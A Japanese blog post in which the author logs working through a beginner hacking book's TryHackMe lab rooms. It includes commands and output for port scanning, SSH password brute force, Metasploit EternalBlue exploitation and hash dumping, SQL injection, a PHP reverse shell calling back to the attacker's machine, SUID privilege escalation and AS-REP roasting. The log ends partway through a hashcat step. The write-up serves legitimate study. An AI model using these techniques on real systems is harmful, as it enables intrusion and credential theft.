2025/04/06

tiktokかyoutubeか覚えていないが、何かのSNSで今セール中のIT系の本おすすめみたいな動画を見た気がする。その中に 7日間でハッキングを始める本 があった。

一応調べてみようということで本のタイトルをググってみると、amazonのLinuxのカテゴリでランキング一位であった。ランキングに弱い私はここで買ってみようかと思ってしまった。

最近は仕事の残業が多く、平日は何もできないし休日も休むことに使ってしまっている。そのためこの本を買ってもたぶんできないんじゃないかなと思って買うのをためらった。

でも価格は2860円のものが現在セール中で半額の1430円となっている。最近読みたい本というのがない状況で、この本は少しだけ読んでみたいかもと久しぶりに思った本でもある。

そして飲み会では5000円が勝手に飛ぶ。そう考えると、自分で少しだけほしいと感じ、今セール中でamazonランキング1位、5000円をそこまで使いたくないものに使っている状況なら1430円の本はたとえ読まなくても買っておくだけの価値があると考えた。

ここまで理由をつけないと無駄になるかもしれない1500円のものにお金を使えないこの性分を改善するためにも買ってよかったはず。

とここまでが買うまでの話。以下から読み始めたら感想を書いていく。


kalilinuxがvirtualboxで起動しなかった。

調べたら管理者権限のcmdでsc start vboxsupを実行したら起動できた。

virtualboxのホストキーは右ctrl


kalilinuxのupgradeしたら24GBに膨らんだんだけど。でかすぎ




感想

7日分やりきった!!
本に従っているだけなのにものすごい疲れた。
大量の新しい情報が入ってくるからかもしれない。
7回やり切ると大まかな流れが掴めてきたかもしれない。
本に従っただけで完全攻略していないルームもあるためやり直していきたい。
なるべく理解しようとそのコマンドを打つ理由を考えながらメモをしたつもり。
最後のKoTHも気になる。やってみたい。
そのために情報を整理しないと。
nmapでポートを調べる
smbとか接続してみる
辞書攻撃で侵入する
SUIDなどで権限昇格する
flagゲット

こんな感じ?
なんかフローチャートとか作れそう。
めちゃくちゃツールが出てきたから頭の隅に入れておかないと。
知らないとこういうツールを使おうって発想も出てこないや。
TryHackMeで7つのルームを自分でできる人ならこの本は買う必要はない。
けれどハッカーに興味あるし、一人でTHMやっても誘導あるのに全然わからない自分みたいな人にはちょうどよかった!
確か昔にやってみたことがあるはず。
2~4年前にやったことがあったみたい。
ちょっとやって諦めてるっぽい?
というかどのサイトやればいいのかわからなくてとりあえず全部かじってみたんだった。
やっぱりこの本みたいにTryHackMeがおすすめ!と断言してくれないとそもそもサイト選びに迷ってちょっとやって終わっちゃうんだな。
この本を買ってよかった!
半額セールありがとう!!!

下のは自分が本を読みながら取り組んでいるときにメモした内容です。
本を読んでもわからない、つまずいたときにもしかしたら役に立つかもしれません。

Day1 Kali Linuxの準備とTutorial Room

メモ取ってなかった。

day1はカーリーリナックスを起動するまでの準備。

確かここでvirtualboxのエラーが出てめっちゃ苦労したはず。

ノートPCを研究室で使っていたソフトとか全部消してスッキリさせてkalilinuxを入れられるようにしようとして、必要なものとか含めて色々消してしまったんだよな。

それでvirtualboxも全然起動しなかったけどなんかの設定をオンに変えたんだよな。

何だったっけ?あ、上に書いてたわ。忘れてた。

あと日本語入力できなくて、調べてMozcを入れたんだった。

これに結構時間かかった気がする。

Day3でフォントも気になって変えたなぁ。

Kali Linuxを自分好みの環境にしようと色々したはず。


Day2 Basic Pentesting Room

day2からいきなり難しくなった。

というかday1は環境準備だからday2から始まったようなもの。

つまり最初から難しい。

とりあえずEasy Challengesの中の一つのBasic Pentestingをやる。

目的は相手のPCに接続してフラグ(パスワード)を回収する。

(本的には相手のPCに侵入するまで)

まずは相手のパソコンで何が動いているのか、どこに接続できるのか調べる必要がある。

相手のPCの接続できるポートを探すツールとしてnmapがある。

nmapでどのポートが開いているか確認する。

nmap -sV -Pn -oN nmap.txt -v 10.10.127.60


PORT     STATE SERVICE     VERSION

22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)

80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))

139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)

8080/tcp open  http        Apache Tomcat 9.0.7

Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel


相手のPCで動いているサービスがわかった。まずは一般的なhttpにアクセスしてみる。

普通の方は80番の方。8080はapacheのサイトが開いた。

80 undergoingのページ。ソースにCheck our dev note section記載あり。

開発用のページがあるかもしれないとのこと。それを探してみる。

ページを探すツールとしてdirbがある。

dirb http://10.10.127.60/ /usr/share/dirb/wordlists/small.txt


ひたすら単語を当てはめていくため時間がかかる。

ダンガンロンパでも見ていよう。

と思ったら4分で終わった。意外と早かった。

http://10.10.127.60/development/

しかもそのままdevelopmentだった。  

dev.txt

apacheとsmbを使い始めたことが書いてある

j.txt

Jに対してKが/etc/shadowのパスワードを難しいのに変えろと言っている。

/etc/shadowのページがあるのかと思ったらなかった。ハッシュが保管されている?

調べるとUnix系のOSで使われるパスワード情報が乗っているファイルとのこと。


本に従って一旦httpの探索をやめ、sambaの方を探索する。

thmのヒントの方は次がもうユーザー名とパスワードを辞書攻撃しろってなっている。

apacheの方?


sambaはファイル共有サービス。共有フォルダ確認するにはsmbclientコマンドを使う。

smbclient -L 10.10.127.60

パスワード不要の共有フォルダがないか見てみると、Anonymousというフォルダが見つかったため、接続してみる。

smbclient \\\\10.10.127.60\\Anonymous

mint60じゃ\が入力できなかったため左ctrl+右shiftで英字レイアウトに切り替えられるようにした。

ちなみにホストキーはalt+shift

smb内に入れたため、lsをするとstaff.txtが見つかった。

接続が切れたためipアドレス変更。

smbclient \\\\10.10.230.190\\Anonymous

get staff.txt

exit

day2のフォルダに移してから開いた。

cat staff.txt

中身はJanに対してKayがsmbに私的なファイルを保存しないでと言っている。

サイトのdevelopmentにあったファイルと合わせると、Janというユーザのパスワードが簡単なものになっている可能性がある。

まだ調べていないポートはいくつかあるが、パソコンに直接接続できるポートはsshである。

sshはリモート接続するためのサービスのため、sshのJanのパスワードが脆弱ならPCに接続できてしまう。


そこでJanというユーザのパスワードを辞書攻撃で特定する。

その辞書として実際のゲームに使われていたパスワード集のrockyou.txtを使う。

解凍する。

sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

少しずつ中身を見る

less /usr/share/wordlists/rockyou.txt

/abc でabcを検索できる

qで終了

hydraというツールを使えばsshなどのアドレスに対して辞書攻撃ができる。

hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.230.190 -t 4

この本ではいきなり小文字のjanを辞書攻撃しているが、今までテキストファイルに記載されていたのは大文字のJanだったはず。

そのためこの方法だとユーザー名を間違えるとやり直しで非常に時間がかかってしまう。

basic pentestingの攻略動画には別のツールを使ってユーザー名ごと辞書攻撃をしていた気がする。

余裕があればそれも調べておく。

11分で解析できた。

[22][ssh] host: 10.10.230.190   login: jan   password: armando

sshで接続する。

ssh jan@10.10.230.190

armando

これでjanのPCに接続できた。

本のday2の内容はここで終わり。

一応このルームの続きについて簡単に触れられている。

thmの問題のヒントや解説動画を見れば一人でも進められるよとのこと。

day2以降でこの先の進め方に関しても説明するとのことのため、今はここまでにしておく。

最初から下手に自分で進めようとするとわからなくなって嫌になってモチベーションが維持できなくなるため。

sshに接続した状態からexitを入力して出る。

day3のフォルダに移る。

cd ../Day3 


Day2.5 Nmap Roomをやろうとしたが

day2でbasic pentestingルームをやっていて思ったが、やはりツールの基本的な使い方を知った上で取り組みたいと感じた。何も知らなさすぎると毎回こんな時にはこういうツールを使うという説明のたびに、へーという感想しか出てこない。そのため先に簡単に流れとツールの概要だけ知っておく。

そこでTryHackMeのLearning RoadmapのFreeの方を見てみる。
概要的なところを飛ばしてツールの実践的な使い方の部分を探すとFundamental Skillsがそれらしい。
その中でもpentestingに関係がある内容としてNetwork Servicesを取り組んでみる。

# Network Services
Unix系でファイル共有ができるSMBについての説明がある。
## Task3 Enumerating SMB
ここでPort Scanningの説明で先にNmapのルームを受講したほうがいいとある。
実際、問題としてNmapのルームをやっていないと解けないものがある。
そのため先にNmapルームを攻略する。

# Nmap
実際にnmapを操作しながらヘルプの見方を学んでいく。
途中めんどくさくなってきた。やっぱ使うときに学べばいい気がしてきた。
結構細かいところまで説明してるわ。

やっぱり初心者にいきなり全部詰め込むのは無理だわ。
本に戻ります。

Day3 Blue Room

# Blue room

3日目。脆弱性をついて相手のPCに侵入してフラグを取得するのが目的。

nmapで脆弱性も検出する。

nmap -sV -Pn -oN nmap.txt -v 10.10.18.176 --script vuln

以下の結果が出た。


Nmap scan report for 10.10.18.176

Host is up (0.27s latency).

Not shown: 991 closed tcp ports (reset)

PORT      STATE SERVICE      VERSION

135/tcp   open  msrpc        Microsoft Windows RPC

139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn

445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)

3389/tcp  open  tcpwrapped

|_ssl-ccs-injection: No reply from server (TIMEOUT)

49152/tcp open  msrpc        Microsoft Windows RPC

49153/tcp open  msrpc        Microsoft Windows RPC

49154/tcp open  msrpc        Microsoft Windows RPC

49158/tcp open  msrpc        Microsoft Windows RPC

49159/tcp open  msrpc        Microsoft Windows RPC

Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb-vuln-ms17-010: 

|   VULNERABLE:

|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

|     State: VULNERABLE

|     IDs:  CVE:CVE-2017-0143

|     Risk factor: HIGH

|       A critical remote code execution vulnerability exists in Microsoft SMBv1

|        servers (ms17-010).

|           

|     Disclosure date: 2017-03-14

|     References:

|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/


いくつか空いているポートが見つかり、smbに脆弱性が見つかったらしい。

リモートコード実行の脆弱性が見つかったため、これを用いて相手のPCに侵入する。

脆弱性をつく(エクスプロイト)するにはMetasploitというツールを使う。

metasploitを使うためのインターフェースとしてMSFconsoleがある。

msfconsole

今回の脆弱性を探す

search CVE-2017-0143

対象のOSとターゲットのアプリ一覧が表示される。

今回は0番を使うらしい。選び方がわからん。

use 0

自分と相手のIPアドレスを設定する必要がある。まずはオプションを表示する

show options

相手のIPアドレスをRHOSTSに、自分のIPアドレスをLHOSTに設定する。

自分のIPアドレスは右上に表示されている。ip aコマンドでもtun0の項目を見ればわかる。

set RHOSTS 10.10.18.176

set LHOST 10.2.46.226

expolitまたはrunと入力すれば実行される。

WINと表示されたら侵入成功。

getuidで権限が確認できる。今回はsystemという最高権限が取得されていた。

sysinfoでマシン情報が取得できる。

uploadで好きなファイルを相手のPCにおける。

screenshotで相手のPCの画面をスクショできる


thmのタスクからは飛んでもうフラグのファイルを探す。

今回はflag1.txt, flag2.txt, flag3.txtにフラグが書かれているらしいため、searchで探してcatで開いてみる。

search -f flag1.txt

c:\flag1.txt にあるとわかるが、開くときは\\

cat c:\\flag1.txt


この本ではフラグ取得後にユーザー権限のパスワードを取得する。

管理者権限は脆弱性がないと入れないが、ユーザー権限はパスワードとユーザー名が分かれば脆弱性がなくてもアクセスできるため。

hashdumpでアカウント情報を取得できる。

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

ユーザー名:ユーザー番号:LMハッシュ:NTMLハッシュ

Jonというユーザーがあることがわかる。

aadと31dのハッシュはからのときの値らしい。


JonのNTMLのハッシュがわかる。

NTMLはパスワードをハッシュ化して暗号化しているが、今回はシステム権限のため暗号化はされていないという。

このハッシュ値からレインボーテーブルを用いてパスワードを取得する。

Crack Stationというサイトを用いて求める。

ハッシュ値を入力すれば勝手になんのハッシュ関数かも判断してしてくれる。

Resultにパスワードがalqfna22だと表示される。



関係ないがこのメモをkalilinuxで取っているときに漢字が中華っぽいためフォントを変えたくなった。

fc-matchコマンドでフォントを調べるとDroid Sans Fallbackというフォントだった。

もっときれいな日本語のフォントに変えたい。

調べてみるとNotoフォントがおすすめらしいからインストールする。

sudo apt install fonts-noto-cjk

fc-matchでNoto Sans CJK JPが表示された。

このメモ帳にまだ反映されていないため再起動してみる。(普通に表示設定から変更できた)

「判」の左の部首の縦棒が曲がっていないため反映されていることが確認できた。



最初にnmapでスキャンしたときに3389のポートが空いていることがわかった。

このポートはRDPのポートであり、リモートでPCを操作することができる。

xfreerdpというコマンドを使う。

xfreerdp /u:Jon /v:10.10.221.37 /p:alqfna22 /cert:ignore /sec:rdp

xfreerdpが見つからないと出た。xfreerdp3を使えとのこと。接続できた。

kalilinux上でwindowsをGUI操作できた!


最後にコラムとして途中で詰まったらルーム名とwriteupかwalkthroughで検索すると良いとのこと。

writeupは知っていたが、walkthroughも使われることを初めて知った。


thmの問題を見たらパスワードはレインボーテーブルではなく辞書攻撃がヒントになっていた。

確かにhashdumpの中身の説明がないとこれがなんのハッシュ値とかわからないよな。


Day4 OWASP Juice Shop Room

# Day4 OWASP Juice Shop Room


わざと有名な脆弱性が複数仕込まれたwebサイトにアクセスし、いろんな脆弱性を試す。

Burp Suiteというツールを使う。

ブラウザと相手のPCとの通信の間に入り、内容を書き換えることができるローカルプロキシというもの。

terminalではなくkalilinuxのアプリとして起動する。

Target>Open browser

このブラウザでサイトにアクセスする。

情報を書き換えたいときだけProxy>Interceptをonにする。


商品を開いてみるとreviewで投稿した人のメールアドレスが表示されている。

一番最初の商品のメールアドレスがadminという文字が含まれているため、ここのサイトの管理者のアドレスではないかと推測できる。

ログイン画面を見ると、メールアドレスとパスワードが必要なことがわかる。


# SQL injection

ここでSQLインジェクションを試してみる。

admin@juice-sh.op'--

パスワードの部分をコメントアウトで消す。

これでadminとしてログインできた。


# Broken Access Control

次に管理者としてのページがないか探してみる。

ページはURLのルーティングで実現されており、javascriptで実装されている。

jsのコードはデベロッパーツールのソースタブから見ることができる。

まずはmainのjsファイルにないか調べる。

サイトを調べると、contactやorder-historyというページがあることがわかる。

これらのページにルーティングしている箇所がないか検索してみると

path: "",

conponent: 

のようなコードが見つかる。その中に管理者のページみたいなものがないか調べてみると

administrationが見つかるためそれを開く。

Customer Feedbackが削除できるため削除してみる。

またこの評価のリクエストを送り、burp suiteでそのPOSTを探して右クリックする。

send to repeaterを押すとrepeaterタブに移されるため、そこからパラメータをいじって送れば星0とかにできる。


# Insecure Design

SQLインジェクションでadmin権限にログインできたが、この脆弱性が修正されてしまうとadmin権限が取得できなくなってしまう。

そこでadminのパスワードを当てることでいつでもadminにログインできるようにする。

day2ではhydraというツールでrockyouという辞書を用いた。

今回はSecListsという辞書を用いてBurpSuiteで辞書攻撃する。

インストール

sudo apt install seclists

ディレクトリ構造を見る

tree /usr/share/seclists |less

admin@juice-sh.opで適当にログインを試してburpsuiteでそのpostを右クリック。

send to intruderを選択してintruderタブへ。

passwordを選択してAddボタンを押す。

Payloadsの画面でtypeはSimple lists, Loadsを押して以下の辞書を開く。

/usr/share/seclists/Passwords/Common-Credentials/best1050.txt

start attackを押す。

ちょっと待ってstatus codeが401じゃないものが見つかればそれがパスワード。

あとは登録ユーザの中にbjoernというこのjuiceshopを作った実在の人のメールアドレスが登録されていることが紹介されていた。

Xで秘密の質問に関する情報を手に入れられるという。

あとはスコアボードを見るとこれまでにexploitした脆弱性が確認できる。

全部で95個もある。多すぎる。


とりあえずday4は完了。

burpsuiteの使い方を学ぶことができた。


Day5 Vulnversity Room

# Day5 Vulnversity Room

相手のPCに接続してフラグを取得することが目的。
まずはポートをスキャンする。
nmap -sV -Pn -oN nmap.txt -v 10.10.192.170

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open  http-proxy  Squid http proxy 3.5.12
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

## ftp
ftp 10.10.192.170
ftpは匿名でもアクセスできるようにanonymousオプションがある。
ユーザー名をanonymousで接続してみる。
接続できなかった。

## smb
smbclient -L 10.10.192.170
workgroupが見つかったため接続してみる。
smbclient \\\\10.10.192.170\\WORKGROUP
接続できなかった。

## http
3333ポートをブラウザでアクセスしてみる。
vuln universityのサイトが開いた。
ソースコードを見るとコメントは以下しか見つからなかった。
<!-- Link back to Colorlib can't be removed. Template is licensed under CC BY 3.0. -->

day2でやったようにdirbでディレクトリを総当りしてみる。
今回はディレクトリの中も調べられるようにRオプションをつけて。
dirb 10.10.192.170:3333 /usr/share/dirb/wordlists/small.txt -R

---- Scanning URL: http://10.10.192.170:3333/ ----
==> DIRECTORY: http://10.10.192.170:3333/css/                                                                      
==> DIRECTORY: http://10.10.192.170:3333/images/                                                                   
==> DIRECTORY: http://10.10.192.170:3333/internal/                                                                 
==> DIRECTORY: http://10.10.192.170:3333/js/  

internalのみlistableじゃなかったためyを押して再帰的に総当りする。
==> DIRECTORY: http://10.10.192.170:3333/internal/css/                                                             
==> DIRECTORY: http://10.10.192.170:3333/internal/uploads/    

cssの中身はbootstrapだけ。あのcssをテンプレートとして使えるようにするやつ。
uploadsの中には何もなかった。
そもそものinternalにアクセスしてみるとファイルをアップロードできるようになっていた。
テキストファイルをアップロードしようとしても許可されておらずできなかった。
なんのファイルがアップロードできるのか調べるため、burpsuiteを使う。
burpsuiteのブラウザでファイルをアップロードして、そのリクエストをintruderに送る。
intruderでファイルの拡張子をaddし、今度は拡張子の辞書を選択する。
今回使うのはseclistsの拡張子の辞書
/usr/share/seclists/Fuzzing/extentions-most-common.fuzz.txt
payloadsからそれをloadして実行。
一般的な拡張子が網羅されているのかと思ったらなんか偏った拡張子しかないじゃん。
phtmlだけlengthが大きく異なる。
responseを見てみるとsuccessと表示されていた。
これでphtmlはアップロードできることが明らかとなった。

ファイルをアップロードできることを利用してリバースシェルを行う。
リバースシェルとは外側から相手のPCと接続するのではなく、内側からこっちのPCに接続させることである。
外側からの通信はブロックされやすいが、内側からこっちのPCに接続させる通信はブロックされにくいため。
リバースシェルには以下のファイルを使う
/usr/share/webshells/php/php-reverse-shell.php
このファイルをday5のフォルダにコピーする。
cp /usr/share/webshells/php/php-reverse-shell.php .
phpをphtmlに変更する
mv php-reverse-shell.php php-reverse-shell.phtml
nanoで中身を編集する。
nano php-reverse-shell.phtml
alt+nで行番号を表示できる。
49,50行目のipとportに自分のPCの情報を入れる

49 $ip = '10.2.46.226';  // CHANGE THIS
50 $port = 1234;       // CHANGE THIS

このphtmlをアップロードする。
こっちのPCに接続できるようにポートを開いておく
nc -lvnp 1234
アップロードしたファイルを開く。
これでシェルが取れる。
hostnameでホスト名を確認
pwdで今のディレクトリを確認
whoamiでユーザー名を確認

シェルを取るとwebサイトの書き換えもできる。
webサイトのデータは/var/www/htmlにあるという。
多くのサイトはindex.htmlがトップページのため書き換えてみる。
cd /var/www/html
echo "<h1>This site is hacked!!</h1>" > index.html
これで大学のサイトが書き換えられた。

目的はフラグを取得することである。
フラグは/root/root.txtであり、最高権限が必要だという。
実際にアクセスしてみるとPermission deniedと表示された。
cat /root/root.txt
権限昇格する方法としてSUID、Set User IDという仕組みがある。

SUIDについて
これはファイルにつけられる特殊な属性で、一般ユーザーでもSUID属性のあるファイルを実行すると所有者(root)権限で実行される。
この属性はパスワードの保存などに使われている。
passwdコマンドでパスワードを設定できるが、そのパスワード情報はshadowファイルに保存される。
shadowファイルにはすべてのユーザーのパスワードが保存されるため一般ユーザーにはアクセスできないようにされている。
そうすると保存もできないことになってしまうが、ここでpasswdの実行ファイルにSUID属性を付与することで一般ユーザーでもshadowにパスワードを保存することができる。
ls -l /etc/shadow
-rw-r----- 1 root shadow 1064 Jul 31  2019 /etc/shadow
ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 54256 May 16  2017 /usr/bin/passwd  
linuxのアクセス権を忘れたため復習すると
d rwx rwx rwx
属性 所有者のアクセス権 所有者のグループの その他の
shadowは所有者は読み書きでき、所有者と同じグループは読みのみ、第三者は権限なし
passwdは所有者はすべて、所有者のグループは読みと実行、第三者は読みと実行。
passwdの実行権限のxの部分がsになっており、これが特殊な属性であるSUIDである。

SUID属性のあるファイルはroot権限で実行されるため、このファイルで権限を昇格させるコードを実行できればroot権限を取得できる。
普通はSUID属性のあるファイルは任意のコードが実行できるようにはなっていない。
しかし本来SUID属性を持っていないはずなのにSUID属性をもっているファイルがあることがある。
そのファイルを見つけてうまく使えば権限昇格をすることができる可能性がある。
SUID属性をもつファイルは以下のコマンドで探せる。
find / -perm -u=s -type f 2>/dev/null
この結果に/bin/systemctlがあることがわかる。
このファイルは本来SUIDを持っていないはずだという。
このsystemctlを使って任意のコードを実行する方法があれば権限昇格することができる。
その方法がまとまっているサイトとしてGTFOBinsがある。
Get The Fuck Out Binariesの略?くそバイナリの意味?脆弱性のあるくそったれなバイナリという意味だろうか。
SytemctlをGTFOBinsで検索するとidコマンドの結果を/tmp/outputに出力するコードが載っている。
これを書き換えてroot.txtの内容を出力する。
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF

cat /tmp/outputで中身を見るとroot.txtの中身が表示される。
これで5日目クリア!

Day6 Attacktive Directory Room

# Day6 Attacktive Directory Room
今回はユーザー管理を一元化するActive Directoryに攻撃をしてフラグを取得していく。

まずはnmapで偵察
nmap -sV -Pn -oN nmap.txt -v 10.10.23.183
結構時間がかった。700s、10分以上かかっていた。
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-27 22:56:52Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

多すぎる。
## まずは80
IISのサイト。

## 88,135,139,3389
この4つが怪しいらしい。
この4つのポートに対して-AオプションでOSとバージョンについて検知する。
nmap -p 88,135,139,3389 -A -sV -Pn -oN nmap.txt -v 10.10.23.183
PORT     STATE SERVICE       VERSION
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-27 23:08:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-04-27T23:09:14+00:00; -4s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|   Product_Version: 10.0.17763
|_  System_Time: 2025-04-27T23:09:02+00:00
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Issuer: commonName=AttacktiveDirectory.spookysec.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-26T22:41:53
| Not valid after:  2025-10-26T22:41:53
| MD5:   740e:148d:bd57:80d7:ad23:0e32:842a:4eca
|_SHA-1: f502:6b5d:fd66:9380:60b2:c4a3:d257:e12b:a5c3:173d
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (96%), Microsoft Windows Server 2019 (96%), Microsoft Windows 10 (93%), Microsoft Windows 10 1709 - 21H2 (93%), Microsoft Windows 10 21H1 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Server 2022 (93%), Microsoft Windows 10 1903 (92%), Windows Server 2019 (92%), Microsoft Windows Vista SP1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

大量の情報が得られたが、重要なのはドメイン名らしい。
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local


今回はnmapによりkerberosのサービスのポートが見つかった。
kerberosとはActive Directoryに使われている認証の一つである。
kerberos認証は2段階の認証から成り立つ。
1つ目はAS(認証サービス)で本人確認をし、TGTを発行してもらう。
2つ目はTGTを用いてTGS(チケット付与サービス)でサービスに対する認証をし、STを発行してもらう。
このSTを用いて各サービスを利用する。
すなわち、本人確認とどのサービスを使えるかを2段階で判定しているということ。
これにより認証の細かい制御が可能となる。

しかしこのkerberos認証にも隙がある。
隙をついた攻撃の一つとしてAS-REP Roasting攻撃がある。
最初の本人確認としてASからTGTを発行してもらう際、安全のため事前認証を行う。
しかし古いシステムでは事前認証できない場合があり、事前認証が無効になっている場合がある。
事前認証がない場合、なりすましをしてTGTを発行してもらうことが可能となる。
TGTにはパスワードをハッシュ化したデータが含まれているため、パスワードを盗み出すことが可能となる。
このようにASからのResponseをなりすまして受け取り情報を抜き出す攻撃をAS-REP Roasting攻撃という。

今回は事前認証がないかわからないが、AS-REP Attackをしてみる。
まずなりすましをするためにはユーザー情報を得る必要がある。
kerberosからユーザー情報を得るツールとしてKerbruteがある。
githubからダウンロードして実行権限をつける。
chmod +x kerbrute_linux_amd64
kerbruteを使うにはspookysec.localという名前にIPアドレスを割り当てる必要がある。
nanoでhostsファイルを書き換える。
sudo nano /etc/hosts
10.10.141.199 spookysec.local
このIPアドレスは仮想マシンが切れたらいちいち書き換えないといけないのか。
ユーザー、パスワードリストをルームのtask4から取得。
kerbruteでユーザーを列挙
./kerbrute_linux_amd64 userenum -d spookysec.local --dc spookysec.local userlist.txt
2025/04/28 21:20:31 >  [+] VALID USERNAME:       james@spookysec.local
2025/04/28 21:20:36 >  [+] VALID USERNAME:       svc-admin@spookysec.local
2025/04/28 21:20:41 >  [+] VALID USERNAME:       James@spookysec.local
2025/04/28 21:20:43 >  [+] VALID USERNAME:       robin@spookysec.local
2025/04/28 21:21:06 >  [+] VALID USERNAME:       darkstar@spookysec.local
2025/04/28 21:21:19 >  [+] VALID USERNAME:       administrator@spookysec.local
2025/04/28 21:21:47 >  [+] VALID USERNAME:       backup@spookysec.local
2025/04/28 21:22:00 >  [+] VALID USERNAME:       paradox@spookysec.local
2025/04/28 21:23:25 >  [+] VALID USERNAME:       JAMES@spookysec.local
2025/04/28 21:23:53 >  [+] VALID USERNAME:       Robin@spookysec.local
2025/04/28 21:26:45 >  [+] VALID USERNAME:       Administrator@spookysec.local

長かったので途中で止めた。
本によるとsvc-admin@spookysec.local, backup@spookysec.localが怪しいらしい。
2つあるadminの方が怪しくないか?
次にこれらのユーザーになりすまして、ImpacketというツールでAS-REPを要求する。
cp /usr/share/doc/python3-impacket/examples/GetNPUsers.py .
./GetNPUsers.py spookysec.local/svc-admin
[*] Cannot authenticate svc-admin, getting its TGT
/home/kali/7DaysHacking/Day6/./GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:c1e227e35c391d9e6e25811585af1db4$f258b037043c6491b4f4a6f98a8b542fe8b11a89ce77f4ba041f866b7539929fac45aa6477bbe45db47fbba784f2d00e36838533af0133348b21693e1915268633fb7415856a9d792edf98dfe3fa8bdd48165e23855e6fcaf0746ea44931e8e221759a0d4e315c75a277c6a888b6c396b706b3d99293d5dc4e77666400dd396dfb54dc8663730464fcadbfa2354656537932bd67ef5b017eee6baf96fd5ce5b76d7089080f49f34c4a1bd3878560ac31b520248dc51d72fe653214958dd49eff41810eee8a72543691c7094f9a3c57bcc8316c0e4967a105f717266eebbf208cd2a34b5b8adc39595411aa23a8fdaa4b8888

パスワードのハッシュデータを取得できたらしい。
hashcatというツールでパスワードを解析する。
ハッシュをテキストに保存する。
echo '中身' > hash.txt
cat hash.txt
hashcatのヘルプを見て、ハッシュタイプの番号を調べる。
hashcat -h | grep Kerberos
grepでKerberosという文字が含まれる行を抽出している。
19600 | Kerberos 5, etype 17, TGS-REP                              | Network Protocol
  19800 | Kerberos 5, etype 17, Pre-Auth                             | Network Protocol
  28800 | Kerberos 5, etype 17, DB                                   | Network Protocol
  19700 | Kerberos 5, etype 18, TGS-REP                              | Network Protocol
